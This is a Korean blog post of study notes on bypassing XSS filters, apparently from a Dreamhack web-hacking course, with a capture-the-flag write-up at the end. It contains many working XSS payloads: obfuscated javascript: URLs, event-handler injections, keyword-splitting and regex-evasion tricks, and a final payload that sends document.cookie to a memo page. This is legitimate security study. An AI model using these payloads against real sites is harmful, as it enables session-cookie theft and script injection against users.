촉촉한초코칩

Dreamhack - XSS Filtering Bypass 본문

Study/Web Hacking

Dreamhack - XSS Filtering Bypass

햄친구베이컨 2024. 8. 7. 01:17

 

관련 내용에 대해 알아야 할 것 같아서 관련 내용을 정리해보았다.

 

XSS Filtering Bypass

XSS를 방어하기 위해 필터링을 추가했을 때 이를 우회하는 방법 소개

 

1) 불충분한 XSS 필터링

  • XSS 필터링을 통해 보안 유지 
  • 보안을 위해 XSS 필터링은 안전하다고 알려진 마크업만 허용하는 보수적인 방식을 취해야 함
  • 일부 문자열만을 바탕으로 필터를 하게 되면 허위양성 (False Positive) 또는 허위음성 (False Negative) 발생 → 필터링 자체가 이루어지지 못하게 됨

 

이벤트 핸들러 속성

  • 자바 스크립트 코드 실행할 수 있는 HTML 태그 : <script>, 이벤트 핸들러 지정하는 <on> 등
  • 이벤트 핸들러 : 특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의 핸들러 함수 → 이벤트 핸들러 안에 XSS 공격 코드 삽입할 수 있음
1. onload 이벤트 핸들러
<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
이미지 로드 성공, onload 실행 o
<img src="about:invalid" onload="alert(document.domain)"> 
이미지 로드 실패, onload 실행 x 

2. onerror 이벤트 핸들러
<img src="valid.jpg" onerror="alert(document.domain)">
유효한 이미지 로드 성공, onerror 핸들러 실행 x
<img src="about:invalid" onerror="alert(document.domain)">
이미지 로드 실패, onerror 핸들러 실행 o

3. onfocuse 이벤트 핸들러
input 태그에 커서 클릭하여 포커스될 때 실행되는 이벤트 핸들러
input 태그의 autofocuse 속성을 이용해 자동으로 포커스 시키거나 URL의 hash 부분에 input 태그의 id 속성 값을 입력한다.
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
페이지가 로드되자마자 input 태그에 포커스됨, onfocus 핸들러 실행 o

 

문자열 치환

  • 의심되는 구문을 거부하는 대신 단순히 치환 혹은 제거하는 방식의 필터링 방법
  • 만약 단순히 의심되는 구문을 제거할 경우, 필터링되는 키워드 사이에 새로운 필터링 키워드를 삽입하는 방식으로 우회 가능하다. 
    ex) script 키워드가 제거 리스트에 포함되어 있다면, scrscriptipt와 같이 중간에 삽입한다. 
  • 하지만 문자열 치환 필터링은 필터링 자체가 무력화될 뿐더러 웹 응용 방화벽 (Web Application Firewall)에서 페이로드를 탐지하지 못하는 등의 부작용이 발생한다. 
페이로드 탐지하지 못하는 부작용

(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />
  • 대응 방안으로 문자열에 변화가 없을 때까지 지속적으로 치환하는 방식을 사용한다.
    특정 키워드가 최종 마크업에 등장하지 않도록 하는 데에는 효과적일 수 있지만 미처 고려하지 못한 구문의 존재, WAF 방어 무력화 등은 동일하다. 
대응방안

function replaceIterate(text) {
    while (true) {
        var newText = text
            .replace(/script|onerror/gi, '');
        if (newText === text) break;
        text = newText;
    }
    return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,&lt;svg&gt;" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,&lt;svg&gt;" onload="alert(1)" />
replaceIterate('<ifronerrorame srcdoc="&lt;sonerrorcript&gt;parent.alescronerroriptrt(1)&lt;/scrionerrorpt&gt;" />')
--> <iframe srcdoc="&lt;&gt;parent.alert(1)&lt;/&gt;" />

 

활성 하이퍼링크

  • HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있다.
  • 이중 javascript: 스키마 : URL 로드 시 자바스크립트 코드 실행
    →  URL을 속성 값으로 받는 a 태그나 iframe 태그 등에 사용 가능
  • 대응 방법 : XSS 키워드 필터링할 떄 javascript: 스키마를 사용하지 못하도록 필터링하는 경우 존재
a 태그 및 iframe 태그 예시

<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">
  • 브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화를 이용해 우회 가능
  • 우회 : \x01, \x04, \t와 같은 특수 문자들이 제거되고 스키마의 대소문자가 통일됨 
  •  * 정규화 : 동일한 리소스를 나타내는 서로 다른 URL들을 통일된 형태로 변환하는 과정 
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">
  • HTML 태그 속성 : HTML Entity Encoding 사용 가능 
  • 우회 : javascript: 스키마나 이 외의 XSS 키워드 인코딩
<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">
  • 자바스크립트에서는 URL 객체를 통해 URL을 직접 정규화할 수 있으며 protocol, hostname 등 URL의 각종 정보 추출 가능하다.
function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)').href
--> "javascript:alert(1)"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"

 

태그와 속성 기반 필터링
→  취약한 필터링 예시

1) 대문자 혹은 소문자만 인식하는 필터 우회 

대소문자 모두 검사하지 않는 방식
x => !x.includes('script') && !x.includes('on')

대소문자 검사 미흡 우회 
<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />


2) 잘못된 정규표현식을 사용한 필터 우회 

  • 정규표현식 필터링 자체에 문제가 있는 경우 정규표현식을 만족하면서 XSS 공격 구문을 삽입하는 것이 가능하다.
스크립트 태그 내 데이터 존재 여부 검사
x => !/<script[^>]*>[^<]/i.test(x)

-> 우회 : 태그 내에 데이터가 존재하지 않아도 src 속성을 이용해 데이터를 입력할 수 있다. 
<script src="data:,alert(document.cookie)"></script>

img 태그에 on 이벤트 핸들러 검사
x => !/<img.*on/i.test(x)

-> 우회 : 멀티 라인에 대한 검사가 존재하지 않기 때문에 줄바꿈 문자를 이용해 우회할 수 있다.
<img src=""\nonerror="alert(document.cookie)"/>


3) 특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터 우회 

태그 검사 예시 (script, img, input 태그 필터링)
x => !/<script|<img|<input/i.test(x)

-> 우회
<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/

대응 방법 
- on 이벤트 핸들러 사용 불가능
- 멀티 라인 지원하는 문자 검사 
on 이벤트 핸들러 및 멀티 라인 문자 검사
x => !/<script|<img|<input|<.*on/is.test(x)

-> 우회 : 새로운 inner frame 생성하는 iframe 태그 이용 
(iframe 태그의 src 속성은 URL을 인자로 받기 때문에 활성 하이퍼링크를 이용해 자바스크립트 코드 삽입 가능)
-> 우회 : srcdoc 속성 사용 (inner frame 내에 새로운 XSS 공격 코드 삽입 가능) 
on 이벤트 핸들러 및 멀티 라인 문자 검사 우회 
<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">

 


 

문제 코드

1) /vuln 페이지 

  • url에서 파라미터로 받은 값에 script, on, javascript: 키워드를 필터링한다. 
def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


2) flag 페이지

  • check_xss 함수에 파라미터 값과 flag, FLAG.stript() 값을 보낸다.
  • check_xss 함수 : 파라미터로 받은 값을 URL 인코딩시킨다. 그리고 url과 cookie 값을 반환한다. 
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


3) memo 페이지

  • 파라미터로 받은 값과 memo_text의 값을 합쳐서 보여준다. 
memo_text = ""

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

 

vuln 페이지의 param 값에 따라 check_xss에서 url과 cookie 값을 반환하고 check_xss가 틀리면 flag가 출력되는 것 같다.

xss_filter에는 script, on, javascript:를 필터링하고, 이 값이 있을 경우 텍스트를 모두 소문자로 변환시켜서 반환한다. 

memo에서 파라미터로 반환된 값을 출력하므로 여기에 cookie 값을 출력하는 코드를 넣어주면 된다. 

<scrscriptipt>locatioonn.href="/memo?memo="+document.cookie;</scrscriptipt>

 

 

 

 

아직도 흐름을 잘 이해못하겠다... 

참고 : https://goldsony.tistory.com/265

'Study > Web Hacking' 카테고리의 다른 글

Dreamhack - simple_sqli_chatgpt  (0) 2024.08.14
Dreamhack - php7cmp4re  (0) 2024.08.07
Dreamhack - php-1  (0) 2024.07.31
Dreamhack - simple-ssti  (0) 2024.07.31
Dreamhack - simple-web-request  (0) 2024.07.25